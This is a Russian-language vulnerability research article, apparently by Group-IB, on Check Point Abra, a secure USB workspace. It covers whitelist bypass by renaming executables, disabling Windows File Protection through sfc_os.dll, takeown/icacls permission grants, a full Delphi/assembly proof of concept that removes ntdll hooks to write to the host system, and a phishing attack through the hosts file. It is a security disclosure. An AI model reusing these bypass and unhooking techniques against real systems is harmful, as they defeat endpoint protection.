На рынке ИБ появляются все новые и новые средства защиты конечного клиента (ДБО, ERP/SAP и так далее). Кроме ценовой политики, совсем немногие из нас сталкивались с анализом эффективности защиты, которую они могут реально обеспечить.
Специалистами компании Group-IB было проведено исследование по анализу возможных брешей продукта Checkpoint Abra, который представляет из себя специально сконфигурированный отделяемый носитель, позволяющий организовать защищенное виртуальное рабочее место на любом компьютере, к которому он подключается.
Вступление
Заявленные технические характеристики устройства позволяют обеспечить изолированную программную среду в контексте работы в ОС, запуская специальную виртуальную защищенную среду с предустановленными приложениями. Все хранимые данные, которые записываются в ее дисковое окружение, шифруются.
По сути, решение направлено на защиту мобильного клиента, который может работать с недоверенных ПК, Интернет-кафе (если ему позволит установить отделяемый носитель) и других злачных мест.
Правила контроля запускаемых приложений находятся в специальных файлах, описывающих «whitelisting»:
F:PWCdatasandbox-persistence.ref
F:PWCdataswspogo.xml
F:PWCdataISWPolicy.xml
F:PWCdataics_policy.xml
Любое приложение не из белого списка нельзя будет выполнить при работе в защищенном сеансе.
Рис. 1 — Окно с сообщением о блокировке попытки запуска стороннего приложения, отсутствующего в списке разрешенных
Обнаруженные уязвимости
1. Запуск сторонних программ в защищенном сеансе
В рамках сеанса разрешено запускать только предустановленные программы Internet Explorer, Notepad, Calculator, Office, Remote Desktop Connection (+ Portable Apps) и пользоваться системными утилитами хостовой машины, которые четко указаны в файле конфигурации «F:PWCdatasandbox-persistence.ref».
<Execute OriginalName="calc.exe" PathName="calc.exe" AppName="Microsoft Calculator" UIDescription="Microsoft Calculator" id="134"/>
Рис. 2 — Содержимое файла политики контроля запуска приложений
Контроль приложений сеанса проверяет запускаемые приложения только по путям-именам файлов, а так же записям VersionInfo в файле. Это означает, что можно импортировать произвольное приложение и запустить его в обход фильтров. Это реализуется изменением имени файла и его поля OriginalFileName секции VersionInfo на любое из белого списка. Более того, возможно подменить произвольный пользовательский исполняемый файл на хостовой ОС (например, архиватор WinRar) без какого-либо импорта внутрь защищенного сеанса и этот файл автоматически будет исполнятся в защищенном сеансе (запускаясь по соответствиям расширений, либо из меню «пуск»).
Подменить так же можно и предустановленные приложения из сеансового меню «Пуск» (Internet Explorer, Notepad, Calculator), отключение защиты файлов производится на хостовой ОС, необходимы права администратора. Подмена системных файлов может быть реализована после отключения защиты файлов Windows File Protection с помощью вызова пятой по ординалу экспортируемой системным файлом sfc_os.dll функции (windows xp).
Пример кода:
hInst := LoadLibrary('sfc_os.dll');
proc := GetProcAddress(hInst, ordinal 5);
filename := 'c:windowssystem32calc.exe';
asm
push -1
push filename
push 0
call proc
end
Либо с помощью модификации прав на файл (Vista и выше):
takeown /f <имя_файла>
icacls <имя_файла> /grant %username%:F
icacls <имя_файла> /grant *S-1-1-0:(F)
Например, после запуска в защищенном сеансе калькулятора, произойдет запуск на исполнение из системной папки файла вида C:WindowsSystem32calc.exe (либо C:WindowsSysWOW64calc.exe, если защищенный сеанс исполняется на 64-битной платформе) в отдельном проводнике.
Рис. 3 — Успешное проведение атаки подмены программы по умолчанию (калькулятор) на OllyDbg
2. Анализ предустановленных приложений
В комплектах инсталлируемых portable-приложений используются заранее подготовленные дистрибутивы продуктов, не всегда последних версий и не всегда обновляемые. Например, FileZilla server 2006 года версии 2.2.26a (последняя сборка на официальном сайте версии 3.5.3 2012).
Рис. 4 — Неактульные версии предустановленных приложений
3. Анализ структуры процессов и загрузчика защищенного сеанса
Во время работы защищенного сеанса создается отдельная группа процессов.
Рис. 5 — XXXX
Исполняемые файлы и библиотеки продукта представлены в 2 сборках: 32 и 64-битной. Несмотря на это, на 64-битных системах запускаются все равно несколько 32-битных модулей, находящихся в папке F:GoPWCWoW64. Второй экземпляр процесса ISWMGR.exe запускает процесс проводника explorer.exe, который является родителем всех открываемых в защищенном сеансе внешних утилит и импортированных программ.
Рис. 6 — XXXX
Запуская импортированные файлы внутри защищенного сеанса они запускаются отдельным приложением-загрузчиком F:PWCWOW64ISWLDR.dat (Рис. 8, для системных утилит подгрузка библиотеки осуществляется без запуска загрузчиком). Он в свою очередь подгружает библиотеку ISWUL.dll, вызывая функцию InitHook для установки перехватов (Рис. 9, Рис. 10). Устанавливаются перехваты вызова функций для работы с файлами, реестром, буфером обмена, криптографией и т.д.
Рис. 7 — Окно отладки загрузчика ISWLDR.dat (программное средство отладки было запущено внутри защищенного сеанса в обход средства контроля запуска приложений)
Рис. 8 — Код оригинальной функции LoadLibraryExW в памяти приложения, запускаемого загрузчиком Abra
Рис. 9 — Код функции LoadLibraryExW в памяти приложения, запущенного загрузчиком Abra (с установленным им перехватчиком по виртуальному адресу 765A2097)
Дизассемблерный листинг кода установки перехватов функций на примере фильтра буфера обмена. Техника реализуется методом сплайсинга функций работы с буфером обмена SetClipboardData. GetClipboardData, OpenClipboard, EmptyClipboard, CloseClipboard и установкой собственных callback-обработчиков:
HANDLE (__stdcall *__cdecl GetAddrOf_SetClipboardData())(UINT, HANDLE)
{
HANDLE (__stdcall *result)(UINT, HANDLE); // eax@1
result = SetClipboardData;
addr_SetClipboardData = SetClipboardData;
return result;
}
int __cdecl hooks_Clipboard()
{
int v0; // eax@1
int v1; // eax@3
int v2; // eax@5
int v3; // eax@7
int result; // eax@9
v0 = splice_func(addr_SetClipboardData, callback_SetClipboardData);
if ( v0 )
addr_SetClipboardData = v0;
v1 = splice_func(addr_GetClipboardData, callback_GetClipboardData);
if ( v1 )
addr_GetClipboardData = v1;
v2 = splice_func(addr_OpenClipboard, callback_OpenClipboard);
if ( v2 )
addr_OpenClipboard = v2;
v3 = splice_func(addr_EmptyClipboard, callback_EmptyClipboard);
if ( v3 )
addr_EmptyClipboard = v3;
result = splice_func(addr_CloseClipboard, callback_CloseClipboard);
if ( result )
addr_CloseClipboard = result;
return result;
}
Существует возможность обхода функций-перехватчиков методом их отключения (восстановления кода функций до их модификации) — прямым чтением файлов из системной папки (для использования техники системные файлы перед чтением необходимо скопировать во временную папку и установить структурный обработчик исключений), например ntdll.dll, чтение первых 10-15 байт функции из файла и перезаписи считанным буфером пролога соответствующей функции в памяти (на которой расположен прыжок на функцию-перехватчик, например ZwLoadDriver). Техника, например, может позволить вносить изменения в файлыреестр из защищенного сеанса напрямую в хостовой систему.
Пример кода, реализующего технику сброса перехватов восстановлением оригинального кода системных библиотек в памяти:
unit notepad;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Buttons, ShlObj;
type
TForm1 = class(TForm)
Memo1: TMemo;
BitBtn1: TBitBtn;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
Dst: array[1..12] of byte;
implementation
{$R *.dfm}
function GetSpecialPath(CSIDL: word): string;
var s: string;
begin
SetLength(s, MAX_PATH);
if not SHGetSpecialFolderPath(0, PChar(s), CSIDL, true)
then s := GetSpecialPath(CSIDL_APPDATA);
result := PChar(s);
end;
procedure memcpy;
asm
push ebp
mov ebp, esp
push ebx
push esi
push edi
cmp [ebp+8], 0
jz @loc_416538
cmp [ebp+$0C], 0
jz @loc_416538
cmp [ebp+$10], 0
jg @loc_41653C
@loc_416538:
xor eax, eax
jmp @loc_41654B
@loc_41653C:
pusha
mov esi, [ebp+$0C]
mov edi, [ebp+$08]
mov ecx, [ebp+$10]
rep movsb
popa
xor eax, eax
@loc_41654B:
pop edi
pop esi
pop ebx
pop ebp
retn
end;
procedure resolve_APIs_from_dll_images(mapped_ntdll_base: pointer; dllname: string);
var
var_4, var_8, var_10, var_20, var_24, var_2C, var_28, var_3C, var_1C, dllbase, Src, old: DWORD;
begin
asm
pushad
mov eax, [mapped_ntdll_base]
mov ecx, [eax+3Ch]
mov edx, [mapped_ntdll_base]
lea eax, [edx+ecx+18h]
mov [var_10], eax
mov ecx, [var_10]
mov edx, [mapped_ntdll_base]
add edx, [ecx+60h]
mov [var_4], edx
mov eax, [var_4]
mov ecx, [mapped_ntdll_base]
add ecx, [eax+1Ch]
mov [var_8], ecx
mov ecx, [var_4]
mov edx, [mapped_ntdll_base]
add edx, [ecx+20h]
mov [var_20], edx
mov eax, [var_4]
mov ecx, [mapped_ntdll_base]
add ecx, [eax+24h]
mov [var_2C], ec
push dllname
call LoadLibrary
mov [var_28], eax
cmp [var_28], 0
jne @loc_41D111
jmp @ending
@loc_41D111:
mov [var_24], 0
jmp @loc_41D135
@loc_41D11A:
mov eax, [var_24]
add eax, 1
mov [var_24], eax
mov ecx, [var_20]
add ecx, 4
mov [var_20], ecx
mov edx, [var_2C]
add edx, 2
mov [var_2C], edx
@loc_41D135:
mov eax, [var_4]
mov ecx, [var_24]
cmp ecx, [eax+18h]
jnb @ending
mov ecx, [var_24]
mov edx, [var_20]
mov eax, [mapped_ntdll_base]
add eax, [edx]
mov ecx, [var_24]
mov edx, [var_8]
mov eax, [var_28]
add eax, [edx+ecx*4]
mov [var_3C], eax
mov ecx, [var_24]
mov edx, [var_8]
mov eax, [mapped_ntdll_base]
add eax, [edx+ecx*4]
mov [Src], eax
push 0Ah
mov ecx, [Src]
push ecx
lea edx, [Dst]
push edx
call memcpy
add esp, 0Ch
lea eax, [old]
push eax
push PAGE_EXECUTE_READWRITE
push $0A
mov eax, [var_3C]
push eax
call VirtualProtect
push 0Ah
lea ecx, [Dst]
push ecx
mov eax, [var_3C]
push eax
call memcpy
add esp, 0Ch
jmp @loc_41D11A
@ending:
popad
end;
end;
function UnHook(dllname: string): boolean;
var
size: DWORD;
MapHandle: THandle;
FileHandle: THandle;
dll, filename: string;
LogFileStartOffset: pointer;
Begin
dll := SystemDir + '' + dllname;
filename := GetSpecialPath(CSIDL_APPDATA) + '' + dllname;
result := CopyFile(PChar(dll), PChar(filename), false);
if result then
begin
FileHandle := CreateFile(pChar(filename), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
If FileHandle <> INVALID_HANDLE_VALUE then
Try
MapHandle := CreateFileMapping(FileHandle, nil, $1000002, 0, 0, nil);
If MapHandle <> 0 then
Try
LogFileStartOffset := MapViewOfFile(MapHandle, FILE_MAP_READ, 0, 0, 0);
If LogFileStartOffset <> nil then
Try
size := GetFileSize(FileHandle, nil);
resolve_APIs_from_dll_images(LogFileStartOffset, dllname);
Finally
UnmapViewOfFile(LogFileStartOffset);
End;
Finally
// CloseHandle(MapHandle);
End;
Finally
// CloseHandle(FileHandle);
End;
DeleteFile(filename);
end;
End;
procedure write2file(filename, s: string);
var
f: textfile;
begin
assignfile(f, filename);
rewrite(f);
writeln(f, s);
closefile(f);
end;
procedure TForm1.FormCreate(Sender: TObject);
var
a: PChar;
begin
a := 'ntdll.dll';
UnHook(a);
write2file('c:usersAdministratorDesktopPOC.txt', 'Now we writing to host OS');
end;
ABRA GO не позволяет запускать внутри защищенного сеанса соединения RDP, vnc-клиент, либо vnc-сервер. На примере клиента RFB-протокола TightVNC, используя метод обхода контроля приложений есть возможность запустить клиент и сервер VNC, но в случае запуска серверной утилиты соединения и просмотра рабочего стола защищенного соединения не происходит.
В случае запуска клиентской утилиты происходит соединение и просмотр рабочего стола хостовой ОС (при подключении к адресу 127.0.0.1:5900), но возможности управлять рабочим столом — нет (как и просмотра-управления папками защищенного сеанса).
Реализация фишинг-атаки
Возможна реализация фишинг-атаки путем модификации файла etchosts хостовой системы, все изменения в котором автоматически применяются и для защищенного сеанса.
Рис. 10 — Удачно проведение фишинг-атаки: при попытке открыть ресурс habrahabr.ru открылся другой — страница поисковика yandex.ru
Итоги
Использование средств защиты информации, в том числе современных, должно основываться на объективной оценке их возможностей. Отдельное внимание заслуживают клиенты систем ДБО, которые по совету банков стремятся использовать различные системы защиты. Использование специальных аппаратных средств позволяет повысить защищенности клиента, но далеко не отсечь все потенциальные риски.
Автор: skvz
